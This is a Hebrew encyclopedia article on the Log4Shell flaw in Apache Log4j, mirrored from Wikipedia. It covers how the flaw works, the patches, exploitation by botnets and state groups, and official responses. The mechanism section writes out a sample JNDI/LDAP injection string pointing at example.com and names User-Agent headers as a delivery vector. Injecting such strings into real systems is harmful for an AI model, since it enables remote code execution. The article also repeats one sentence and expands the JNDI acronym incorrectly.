Quire

Log4Shell

From Quire, the open reference··4 min read

Log4Shell (המזוהה בקוד CVE-2021-44228) היא פרצת אבטחה חמורה במיוחד שהתגלתה בספריית הקוד "Log4j" של "Java", המשמשת לתיעוד פעילויות במערכות מחשב (לוגים). חולשה זו מאפשרת לתוקפים להריץ מרחוק קוד שרירותי על גבי שרתים ומחשבים[1][2], או להדליף מתוכם מידע רגיש[3], וזאת מבלי שהמערכת תבדוק כראוי את התגובות לבקשות הנשלחות לשרתי JNDI ו-LDAP חיצוניים[1][4][5]. החולשה, שהייתה קיימת בקוד ללא גילוי מאז שנת 2013, דווחה בחשאי לקרן התוכנה אפאצ'י על ידי צוות אבטחת הענן של קבוצת עליבאבא בנובמבר 2021, ונחשפה לציבור הרחב בדצמבר של אותה השנה[6][7][3][8].

שירותים רבים התגלו כפגיעים לחולשה, ורשימה של פרויקטי התוכנה המושפעים פורסמה על ידי צוות האבטחה של Apache.[9] קרן Apache העניקה לפרצה דירוג חומרת CVSS מרבי – 10 מתוך 10[10]. ההערכות מצביעות על כך שהפרצה השפיעה על מאות מיליוני מכשירים[8] ועל שירותים מסחריים מובילים ורבים, בהם AWS, Cloudflare, iCloud, Minecraft ו-Steam[11][12][13][14][4][15]. רשימה של פרויקטי התוכנה המושפעים פורסמה על ידי צוות האבטחה של Apache.[9] מומחי אבטחה מחברות מובילות הגדירו את התקרית ככשל עיצובי בקנה מידה קטסטרופלי, וכאחת מחולשות האבטחה הגדולות, הקריטיות והחמורות ביותר בהיסטוריה של עולם המחשוב[3][16][17].

רקע#edit

ערך מורחב – Log4j

Log4j היא ספריית קוד פתוח המאפשרת למפתחי תוכנה לרשום (log) נתונים בתוך האפליקציות שלהם. נתונים אלה יכולים לכלול קלט משתמש.[18] הספרייה נמצאת בשימוש כמעט בכל מקום ביישומי Java, במיוחד בתוכנות ארגוניות.[3]

הספרייה נכתבה במקור בשנת 2001 על ידי Ceki Gülcü, וכעת היא חלק מ- Apache Logging Services, פרויקט של קרן התוכנה אפאצ'י.[19] חבר בוועדת אבטחת הסייבר לשעבר של הנשיא ברק אובמה, טום קלרמן, תיאר את אפאצ'י כ"אחת התומכות הענקיות של גשר המאפשר את רקמת החיבור בין עולמות היישומים וסביבות המחשב".[20]

תיאור#edit

ממשק ה-JNDI של Java (בראשי תיבות: ה-Java Native Direcotry Interface), מאפשר חיפוש של אובייקטי Java בזמן ריצה בהינתן כתובת למקום שמאחסן את הנתונים שלהם. JNDI יכול לעבוד עם מספר ממשקי Directory, כאשר כל אחד מספק "סכימה" שונה של חיפוש קבצים. בין הממשקים הללו ניתן למצוא את LDAP, המאחזר את נתוני האובייקט ככתובת URL משרת מתאים, מקומי או מכל מקום באינטרנט.[21]

בקונפיגורציה הרגילה, כאשר log4j כותבת הודעת לוג, מתבצעת פעולת חיפוש והחלפה של מחרוזות מיוחדות מהצורה {prefix:name}$ בתוך ההודעה הנכתבת. חלק מהתבניות המיוחדות שיכולות להיות מזוהות היא הצורה{<jndi:<lookup}$; על ידי הכנסת מחרוזת כזו עם שרת lookup בשליטת התוקף (מסוג LDAP, למשל), הספרייה תפנה לכתובת ה-URL הרשומה באמצעות פרוטוקול ה-LDAP ותטען את הנתונים בו כאובייקטי Java. כך לדוגמה, ניסיון הדפסה של המחרוזת {jndi:ldap://example.com/file}$, יגרור טעינה של הקוד שמאוחסן בכתובת זו, גם אם מדובר בשרת חיצוני.

משום שבקשות HTTP נכתבות פעמים רבות ללוג, וקטור תקיפה נפוץ הוא הכנסה של המחרוזת הזדונית לתוך HTTP Header שמתועד פעמים רבות, כגון User-Agent.

מניעה#edit

התיקון עבור פגיעות אלו פורסמו ב-6 בדצמבר 2021, שלושה ימים לפני פרסום הפגיעות, בגרסה 2.15.0-rc1 של Log4j.[22] התיקון כלל הגבלת השרתים והפרוטוקולים שניתן להשתמש בהם לצורך חיפושים (lookups) של אובייקטים. לאחר מכן חוקרים גילו באג קשור, CVE-2021-45046, המאפשר הרצת קוד בצורה מקומית או מרוחקת בתצורות מסוימות שאינן ברירת מחדל. באג זה תוקן בגרסה 2.16.0, אשר השביתה את כל תכונות ה-JNDI ואת תמיכה בחיפושי הודעות (message lookups).[23][24]

עבור גרסאות קודמות, מומלץ להסיר את המחלקה org.apache.logging.log4j.core.lookup.JndiLookup ממשתנה ה-classpath כדי למנוע ניצול של שתי הפגיעויות.[10][23] בנוסף, ניתן לשנות את ה-system property בשם log4j2.formatMsgNoLookups ל- true, אך שינוי זה אינו מונע ניצול של CVE-2021-45046.[23]

גרסאות חדשות יותר של Java Runtime Environment (JRE) מפחיתות את הפגיעות הזו על ידי חסימת טעינת קוד מרחוק כברירת מחדל, אם כי וקטורי תקיפה אחרים עדיין קיימים ביישומים מסוימים.[1][25][26] פורסמו מספר שיטות וכלים כדי לסייע בזיהוי של שימוש בגרסאות log4j פגיעות בחבילות Java.[27]

ניצול#edit

החולשה מאפשרת להאקרים להשיג שליטה על מכשירים פגיעים באמצעות Java.[8] ההאקרים משתמשים בפגיעות כדי לנצל את היכולות של מכשירי הקורבנות; השימושים כוללים כריית מטבעות קריפטוגרפיים, יצירת רשתות בוטים, שליחת דואר זבל ופעילויות לא חוקיות אחרות כגון התקפות כופר.[8][28] בימים שלאחר פרסום הפגיעות, חברת צ'ק פוינט עקבה אחרי מיליוני התקפות שיזמו האקרים, כאשר כמה חוקרים צפו בקצב של למעלה ממאה התקפות לדקה, שהביא בסופו של דבר לתוצאה של מעל 40% מהרשתות העסקיות בעולם שהותקפו.[8][20]

לדברי מנכ"ל Cloudflare, מתיו פרינס, עדויות לשימוש או בדיקה להימצאות של החולשה נצפו כבר ב-1 בדצמבר, תשעה ימים לפני שהחולשה נחשפה בפומבי.[29] בנוסף, לדברי GreyNoise, חברת אבטחה מקוונת, מספר כתובות IP כבר סרקו אתרים במקרה למצוא שרתים פגיעים.[30] כמה botnets התחילו לסרוק את הפגיעות, כולל Muhstik botnet, כמו גם "מיראי", צונאמי ו-XMRig.[8][29][31] כמה קבוצות מדינתיות בסין ובאיראן ניצלו את הפגיעות, לפי צ'ק פוינט.[16]

תגובה והשפעה#edit

ממשלות#edit

בארצות הברית, מנהל הסוכנות לאבטחת סייבר ותשתיות (CISA), ג'ן איסטרלי, תיאר את החולשה כ"אחת הרציניות שראיתי בכל הקריירה שלי, אם לא החמורה ביותר", והסביר כי מאות מיליוני מכשירים הושפעו תוך שהוא מייעץ לספקים לתעדף עדכוני תוכנה.[32][8][28]

המרכז הקנדי לאבטחת סייבר (CCCS) קרא לארגונים לנקוט בפעולה מיידית.[33] סוכנות ההכנסה של קנדה סגרה זמנית את השירותים המקוונים שלה לאחר שנודע על החולשה, בעוד שממשלת קוויבק סגרה כמעט 4,000 מאתרי האינטרנט שלה כ"צעד מונע".[34]

המשרד הפדרלי לביטחון מידע הגרמני (BSI) הגדיר את החולשה כרמת האיום הגבוהה ביותר של הסוכנות, וכינה אותה "מצב איום קריטי ביותר" (מתורגם). הארגון גם דיווח כי מספר התקפות כבר היו מוצלחות וכי עדיין קשה להעריך את היקף הניצול.[35][36] מרכז אבטחת הסייבר הלאומי של הולנד (NCSC) החל ברשימה מתמשכת של יישומים פגיעים.[37][38]

עסקים#edit

חברת ניהול משאבי אנוש וניהול כוח אדם, UKG, אחד העסקים הגדולים בתעשייה, הייתה מטרה למתקפת כופר שהשפיעה על עסקים גדולים.[17][39] UKG מסרה כי אין לה ראיות לניצול של Log4Shell בתקרית, אם כי האנליסט אלן ליסקה מחברת אבטחת הסייבר Recorded Future אמר כי ייתכן שיש קשר.[39] כאשר חברות גדולות יותר החלו לשחרר תיקונים לחולשה, הסיכון לעסקים קטנים גדל כאשר האקרים התמקדו ביעדים פגיעים יותר.[28]

ראו גם#edit

קישורים חיצוניים#edit

הערות שוליים#edit

  1. ^ a b c Wortley, Free; Thrompson, Chris; Allison, Forrest (9 בדצמבר 2021). "Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package". LunaSec (באנגלית).
  2. ^ "CVE-2021-44228". Common Vulnerabilities and Exposures.
  3. ^ a b c d Newman, Lily Hay (10 בדצמבר 2021). "'The Internet Is on Fire'". Wired (באנגלית אמריקאית). ISSN 1059-1028.
  4. ^ a b Mott, Nathaniel (10 בדצמבר 2021). "Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit". PC Magazine (באנגלית).
  5. ^ Goodin, Dan (10 בדצמבר 2021). "Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet". Ars Technica (באנגלית אמריקאית).
  6. ^ Povolny, Steve; McKee, Douglas (10 בדצמבר 2021). "Log4Shell Vulnerability is the Coal in our Stocking for 2021". McAfee (באנגלית).
  7. ^ "Worst Apache Log4j RCE Zero day Dropped on Internet". Cyber Kendra. 9 בדצמבר 2021.
  8. ^ a b c d e f g Murphy, Hannah (2021-12-14). "Hackers launch more than 1.2m attacks through Log4J flaw". Financial Times.
  9. ^ a b "Apache projects affected by log4j CVE-2021-44228". 14 בדצמבר 2021.
  10. ^ a b "Apache Log4j Security Vulnerabilities". Log4j. Apache Software Foundation.
  11. ^ Lovejoy, Ben (14 בדצמבר 2021). "Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade". 9to5mac.
  12. ^ Goodin, Dan (10 בדצמבר 2021). "The Internet's biggest players are all affected by critical Log4Shell 0-day". ArsTechnica.
  13. ^ "Update for Apache Log4j2 Issue (CVE-2021-44228)". Amazon Web Services. 12 בדצמבר 2021.
  14. ^ Rundle, David Uberti and James (15 בדצמבר 2021). "What Is the Log4j Vulnerability?".
  15. ^ "Security Vulnerability in Minecraft: Java Edition". Minecraft. Mojang Studios.
  16. ^ a b Barrett, Brian. "The Next Wave of Log4J Attacks Will Be Brutal". Wired (באנגלית אמריקאית). ISSN 1059-1028.
  17. ^ a b Goodin, Dan (2021-12-13). "As Log4Shell wreaks havoc, payroll service reports ransomware attack". Ars Technica (באנגלית אמריקאית).
  18. ^ Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (10 בדצמבר 2021). "Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)". Unit 42. Palo Alto Networks.
  19. ^ "Apache Log4j 2". Apache Software Foundation.
  20. ^ a b Byrnes, Jesse (2021-12-14). "Hillicon Valley — Apache vulnerability sets off alarm bells". TheHill (באנגלית).
  21. ^ Graham-Cumming, John (10 בדצמבר 2021). "Inside the Log4j2 vulnerability (CVE-2021-44228)". The Cloudflare Blog (באנגלית).
  22. ^ "Restrict LDAP access via JNDI by rgoers #608". Log4j (באנגלית). 5 בדצמבר 2021.
  23. ^ a b c "CVE-2021-45046". Common Vulnerabilities and Exposures. 15 בדצמבר 2021.
  24. ^ Greig, Jonathan (14 בדצמבר 2021). "Second Log4j vulnerability discovered, patch already released". ZDNet (באנגלית).
  25. ^ Ducklin, Paul (12 בדצמבר 2021). "Log4Shell explained – how it works, why you need to know, and how to fix it". Naked Security. Sophos.
  26. ^ "Exploiting JNDI Injections in Java". Veracode. 2019-01-03.
  27. ^ "Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)". www.lunasec.io (באנגלית). 13 בדצמבר 2021.
  28. ^ a b c Woodyard, Chris. "'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw". USA Today (באנגלית אמריקאית).
  29. ^ a b Duckett, Chris. "Log4j RCE activity began on 1 December as botnets start using vulnerability". ZDNet (באנגלית).
  30. ^ "Exploit activity for Apache Log4j vulnerability - CVE-2021-44228". Greynoise Research. 10 בדצמבר 2021.
  31. ^ Zugec, Martin (13 בדצמבר 2021). "Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild". Business Insights. Bitdefender.
  32. ^ "Statement from CISA Director Easterly on "Log4j" Vulnerability". CISA. 11 בדצמבר 2021.
  33. ^ "Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action". Government of Canada (באנגלית). 12 בדצמבר 2021.
  34. ^ Cabrera, Holly (12 בדצמבר 2021). "Facing cybersecurity threats, Quebec shuts down government websites for evaluation". CBC News.
  35. ^ Sauerwein, Jörg (12 בדצמבר 2021). "BSI warnt vor Sicherheitslücke". Tagesschau (בגרמנית).
  36. ^ "Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage" [Red alarm: Log4Shell vulnerability causes extremely critical threat situation] (הודעה לעיתונות) (בגרמנית). Federal Office for Information Security. 11 בדצמבר 2021.
  37. ^ J. Vaughan-Nichols, Steven (14 בדצמבר 2021). "Log4Shell: We Are in So Much Trouble". The New Stack.
  38. ^ "NCSC-NL/log4shell". National Cyber Security Centre (Netherlands).
  39. ^ a b Bray, Hiawatha (15 בדצמבר 2021). "Emerging 'Log4j' software bug spawns worldwide worry over cyber attacks - The Boston Globe". The Boston Globe (באנגלית אמריקאית).
Categories פרצות אבטחה

This article is mirrored from “Log4Shell” on עברית Wikipedia, revision 43599516, written by Wikipedia's contributors and licensed CC BY-SA 4.0. Editing it here creates a Quire copy with its own history.

Synced with Wikipedia revision 43599516 · just now